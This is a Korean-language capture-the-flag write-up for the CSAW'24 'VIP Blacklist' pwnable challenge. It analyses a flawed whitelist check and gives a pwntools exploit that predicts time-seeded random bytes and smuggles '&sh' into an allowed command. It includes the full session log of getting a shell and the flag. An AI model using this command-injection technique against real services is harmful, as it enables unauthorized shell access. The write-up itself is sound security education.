2024.09.07 01:00 ~ 2024.09.09 01:00 동안 진행한 CSAW'24 Quals의 pwnable 문제, VIP Blakclist에 대한 writeUp 이다.
주어진 source code는 없고 실행 파일을 리버싱해야 한다.
리버싱한 source code
리버싱 과정 및 함수별 설명 (작성 중)
프로그램은 사용자로부터 clear
, exit
, ls
명령 중 하나를 입력 받아 실행한다. 이외의 다른 명령이 들어오면 실행하지 않는다.
[그림 1] 프로그램을 실행한 모습
특정한 검사를 통과하면 프로그램은 사용자를 VIP라고 생각하고 새로운 명령, queue
문자열을 입력 받아 해당 명령을 추가한다. 이후 queue
, clear
, exit
, ls
명령 중 하나를 입력 받아 실행한다.
main
: 메모리 초기화 및 handle_client 실행
handle_client
: 1. Program process에 적힌 내용 수행
randGen(random_ten)
)whitelist
에 저장된 명령어를 출력한 후 (displayCommands()
)whitelist
배열에는 사용자가 사용 가능한 명령 문자열
이 들어있고, 큐 자료구조로 동작한다.whitelist
배열의 각 element는 Null Terminator 포함 6 byte 길이의 문자열이다.whitelist
배열의 모습whitelist
에 있는 명령이면 실행하고, 아니면 다시 명령을 입력 받는다.handle_client() -> allowCopy()
)queue
를 제외한 명령을 20번 사용하면 VIP가 아니라며 쫓아낸다. (handle_client() -> kickOut()
)allowCopy
: (VIP를 위한) 새로운 명령, queue
입력 및 whitelist
에 추가whitelist
에 추가한다.queue
가 아니면 VIP가 아니라며 쫓아내고allowCopy() -> kickOut()
)allowCopy() -> kickOut()
)handle_client()
로 돌아가 다시 명령을 입력 받는다.[*] '/home/CTF/vip_blacklist'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
randGen()
함수에서는 random seed를 0으로 설정한 후 random value를 얻기 때문에 동일한 값을 얻을 수 있다.
사용 가능한 명령 정보를 저장한 whitelist
배열은 문자열의 주소가 아닌 문자열 그 자체를 저장하고 있다.
Program source code > 2. Analyze Source Code에서 VIP가 새로운 명령, queue
를 추가할 때 필요 없는 입력 과정을 거친다.
queue
명령을 입력 받지 않았으면 종료하는데 사용자로부터 0x20 byte라는 긴 값을 입력 받는다. +) read 명령으로 입력을 받기 때문에 Null Terminator까지 입력을 받는 것이 아니라 Space-Character("\n"
, " "
, "\t"
)까지 입력 받는다.위 세 가지 의문은 공통적으로 VIP의 새로운 명령 추가 과정(allowCopy
)을 Attack Vector의 후보로 가리키고 있다.
allowCopy
allowCopy
함수는 safety
함수를 이용해 whitelist
배열에서 OverFlow가 발생했는지 검사한다.// [코드 1] safey 함수를 호출과 해당 함수에서 이용할 정보를 설정하는 코드
v9 = 0LL;
strcpy(copyed_clear, "clear");
strcpy(copyed_exit, "exit"); // "exit"
copyed_exit[5] = '\0';
copyed_ls = 'sl'; // "ls"
// shift exist commands to enqueue new Command queue
for ( j = 3; j >= 0; --j )
strcpy(&whitelist[6 * j], &whitelist[6 * j - 6]);// [j] <- [j - 1]
// enqueue new Command queue
for ( k = 0; k < read_length - 1; ++k )
whitelist[k] = input_VIP[k]; // [0] <- input
// Check OverFlow in whitelist
if ( !(unsigned int)safety((__int64)copyed_clear) )
kickOut();
safety
함수에서 whitelist
배열의 OverFlow를 검증하는 데 사용할 값들을 저장하는 코드이다.; [코드 2] [코드 1]의 처음 다섯 줄에 해당하는 Assembly
copyed_ls = xmmword ptr -60h
-----------------------------------------------
pxor xmm0, xmm0
movaps [rbp+copyed_ls], xmm0
movq [rbp+var_50], xmm0
mov dword ptr [rbp+copyed_ls], 'aelc'
mov word ptr [rbp+copyed_ls+4], 'r'
mov dword ptr [rbp+copyed_ls+6], 'tixe'
mov word ptr [rbp+copyed_ls+0Ah], 0
mov dword ptr [rbp+copyed_ls+0Ch], 'sl'
mov word ptr [rbp+var_50], 0
+) movaps
instruction은 한 번에 0x10 byte를 전달한다. 그러므로 [코드 2]의 첫 번째 movaps
instruction으로 rbp-0x60 ~ rbp-0x5F
공간이 0으로 초기화된다.
Adress by rbp | Value |
---|---|
rbp - 0x50 | "\x00\x00\x00\x00\x00\x00\x00\x00" |
rbp - 0x60 + 12 | "ls\x00\x00\x00\x00" |
rbp - 0x60 + 6 | "exit\x00\x00" |
rbp - 0x60 | "clear\x00" |
safety
// [코드 3] safety 함수
__int64 __fastcall safety(__int64 a1)
{
unsigned __int64 i; // [rsp+18h] [rbp-18h]
size_t j; // [rsp+20h] [rbp-10h]
_BOOL8 idx_from_next_queue; // [rsp+28h] [rbp-8h]
idx_from_next_queue = strcmp(whitelist, "queue") == 0;
// check whitelist[1, 2, 3] : except first command : queue
for ( i = idx_from_next_queue; i <= 3; ++i )
{
if ( strlen(&whitelist[6 * i]) > 5 )
kickOut();
for ( j = 0LL; j < strlen((const char *)(6 * (i - idx_from_next_queue) + a1)); ++j )
{
if ( *(_BYTE *)(a1 + 6 * (i - idx_from_next_queue) + j) != whitelist[6 * i + j] )
kickOut();
}
}
return 1LL;
}
safety
함수는 [코드 2]에서 생성한 Stack 구조를 돌며 whitelist
의 각 element가 변조되지 않았는 지 확인한다.
하지만 이 함수는 Null Terminator까지 문자열을 비교하는 것이 아니라 문자열 값이 정확히 존재하는 지만 확인한다.
다시 말해, whitelist
의 가장 마지막 element인 "ls"
가 "ls"
가 아니라 "lsqqq"
가 될 경우 safety
함수는 "ls\x00\x00\x00\x00"
의 Null Terminator 이전까지의 문자인 "ls"
와만 비교하고 OverFlow가 발생하지 않았다고 판단한다.
[그림 3] safety
함수의 놀라운 문자열 검증 과정 모식도
queue
, clear
, exit
까지 whitelist
에 정상적으로 작성해준 후 ls
명령 끝에 shell
을 실행하는 명령을 연결해주면 shell
을 실행하는 명령을 추가? 변조할 수 있다.
&
를 이용하면 shell
에서 앞의 명령과 관계 없이 뒤의 명령을 실행할 수 있다.
각 명령의 길이가 Null Terminator를 제외하고 5 byte를 넘을 수 없기에 2개의 문자로 shell
을 실행하는 sh
명령을 사용해야한다.
즉, ls
명령을 ls&sh
명령으로 업데이트 해야 한다.
[그림 4] ls&sh
명령으로 shell
을 실행한 모습
프로그램의 동작 순서에 맞춰 입력해야 하는 값을 다음과 같이 정리할 수 있다.
"Commands"
로 시작하는 한 줄을 입력 받고 랜덤 10byte 값 입력
# [코드 4] 값을 입력하는데 사용하는 helper function
def choose_menu(string):
p.recvuntil(b"Commands")
p.recvline()
p.sendline(string)
명령을 새로 추가하면 Commands
이후 출력 되는 값이 바뀌므로 Commands
이후 한 줄을 출력 받은 후 입력하는 방식을 사용했다.
# [코드 5] 10 byte random 값 입력 코드
from ctypes import *
from time import *
libc = CDLL('/lib/x86_64-linux-gnu/libc.so.6')
libc.srand(libc.time(0))
random_ten = ''
for i in range(10):
random_ten += chr(libc.rand() & 0xFF)
choose_menu(random_ten)
"Commands"
로 시작하는 한 줄을 입력 받고 2. Decide Attack Method에서 언급한 payload 입력
# [코드 6] ls를 ls&sh로 변조하는 코드
payload = "queue" + '\x00' + "clear" + '\x00' + "exit" + '\x00\x00' + "ls&sh"
log.info(hex(len(payload)))
choose_menu(payload)
"Commands"
로 시작하는 한 줄을 입력 받고 "ls&sh"
입력해서 shell
실행
# [코드 7] ls&sh 명령을 입력해서 shell을 실행하는 코드
choose_menu("ls&sh")
Input Values - Write a Payload에서 말한 값들을 입력해 shell을 실행하는 파이썬 코드를 작성한다.
[그림 5] Input Values - Write a Payload에서 언급한 과정이 실행되는 모습
[그림 6] shell
을 획득하고 flag
파일이 있는 곳으로 이동하는 모습
[그림 7] flag
파일의 존재를 확인하는 모습
[그림 8] flag
를 획득하는 모습
csawctf{4r3_y0u_0n_7h3_b14ckl157?}
root@f91fae288e81 /home/CTF 6s
❯ python3 solution.py
[+] Opening connection to vip-blacklist.ctf.csaw.io on port 9999: Done
[DEBUG] Received 0x97 bytes:
b'"Welcome to the club. It\'s ok, don\'t be in a rush. You\'ve got all the time in the world. As long as you are a vip that is."\r\n'
b'\r\n'
b'Commands: clear exit ls '
[DEBUG] Received 0x3 bytes:
b' \r\n'
/home/CTF/solution.py:20: BytesWarning: Text is not bytes; assuming ISO-8859-1, no guarantees. See https://docs.pwntools.com/#bytes
p.sendline(string)
[DEBUG] Sent 0xb bytes:
00000000 0f a4 19 5c 40 1e bd f0 e5 e5 0a │···\│@···│···│
0000000b
[*] 0x17
[DEBUG] Received 0xf bytes:
00000000 5e 4f a4 5e 59 5c 40 5e 5e bd f0 e5 e5 0d 0a │^O·^│Y\@^│^···│···│
0000000f
[DEBUG] Received 0xd2 bytes:
b'\r\n'
b'Ah VIP, please come this way...\r\n'
b'You may add a new command, "queue", to your possible commands which will give you your position. \r\n'
b'If you would not like this, just press enter.\r\n'
b'\r\n'
b'Commands: clear exit ls \r\n'
/home/CTF/solution.py:20: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.sendline(string)
[DEBUG] Sent 0x18 bytes:
00000000 71 75 65 75 65 00 63 6c 65 61 72 00 65 78 69 74 │queu│e·cl│ear·│exit│
00000010 00 00 6c 73 26 73 68 0a │··ls│&sh·│
00000018
[DEBUG] Received 0x1d bytes:
b'queue^@clear^@exit^@^@ls&sh\r\n'
[DEBUG] Received 0x68 bytes:
b'"We are currently getting you a valet to inform you of your queue position\r\n'
b'Please wait one second..."\r\n'
[DEBUG] Received 0xb7 bytes:
00000000 22 54 68 65 20 76 61 6c 65 74 20 68 61 73 20 61 │"The│ val│et h│as a│
00000010 72 72 69 76 65 64 2c 20 66 65 65 6c 20 66 72 65 │rriv│ed, │feel│ fre│
00000020 65 20 74 6f 20 63 68 65 63 6b 20 79 6f 75 72 20 │e to│ che│ck y│our │
00000030 71 75 65 75 65 20 70 6f 73 69 74 69 6f 6e 20 6e │queu│e po│siti│on n│
00000040 6f 77 2e 22 0d 0a 71 75 65 75 65 0d 0a 63 6c 65 │ow."│··qu│eue·│·cle│
00000050 61 72 0d 0a 65 78 69 74 0d 0a 6c 73 26 73 68 0d │ar··│exit│··ls│&sh·│
00000060 0a 45 78 65 63 75 74 69 6e 67 3a 20 0f a4 19 5c │·Exe│cuti│ng: │···\│
00000070 40 1e bd f0 e5 e5 2e 2e 2e 0d 0a 0d 0a 43 6f 6d │@···│··..│.···│·Com│
00000080 6d 61 6e 64 20 6e 6f 74 20 61 6c 6c 6f 77 65 64 │mand│ not│ all│owed│
00000090 0d 0a 0d 0a 43 6f 6d 6d 61 6e 64 73 3a 20 71 75 │····│Comm│ands│: qu│
000000a0 65 75 65 20 63 6c 65 61 72 20 65 78 69 74 20 6c │eue │clea│r ex│it l│
000000b0 73 26 73 68 20 0d 0a │s&sh│ ··│
000000b7
[DEBUG] Sent 0x6 bytes:
b'ls&sh\n'
[*] Switching to interactive mode
[DEBUG] Received 0x7 bytes:
b'ls&sh\r\n'
ls&sh
[DEBUG] Received 0x26 bytes:
b'Executing: ls&sh...\r\n'
b'\r\n'
b'vip_blacklist\r\n'
Executing: ls&sh...
vip_blacklist
$ pwd
[DEBUG] Sent 0x4 bytes:
b'pwd\n'
[DEBUG] Received 0x5 bytes:
b'pwd\r\n'
pwd
[DEBUG] Received 0xb bytes:
b'/home/vip\r\n'
/home/vip
$ cd /
[DEBUG] Sent 0x5 bytes:
b'cd /\n'
[DEBUG] Received 0x6 bytes:
b'cd /\r\n'
cd /
$ ls
[DEBUG] Sent 0x3 bytes:
b'ls\n'
[DEBUG] Received 0x4 bytes:
b'ls\r\n'
ls
[DEBUG] Received 0x81 bytes:
b'bin\r\n'
b'boot\r\n'
b'dev\r\n'
b'etc\r\n'
b'flag.txt\r\n'
b'home\r\n'
b'lib\r\n'
b'lib32\r\n'
b'lib64\r\n'
b'libx32\r\n'
b'media\r\n'
b'mnt\r\n'
b'opt\r\n'
b'proc\r\n'
b'root\r\n'
b'run\r\n'
b'sbin\r\n'
b'srv\r\n'
b'sys\r\n'
b'tmp\r\n'
b'usr\r\n'
b'var\r\n'
bin
boot
dev
etc
flag.txt
home
lib
lib32
lib64
libx32
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
$ cat flag.txt
[DEBUG] Sent 0xd bytes:
b'cat flag.txt\n'
[DEBUG] Received 0xe bytes:
b'cat flag.txt\r\n'
cat flag.txt
[DEBUG] Received 0x24 bytes:
b'csawctf{4r3_y0u_0n_7h3_b14ckl157?}\r\n'
csawctf{4r3_y0u_0n_7h3_b14ckl157?}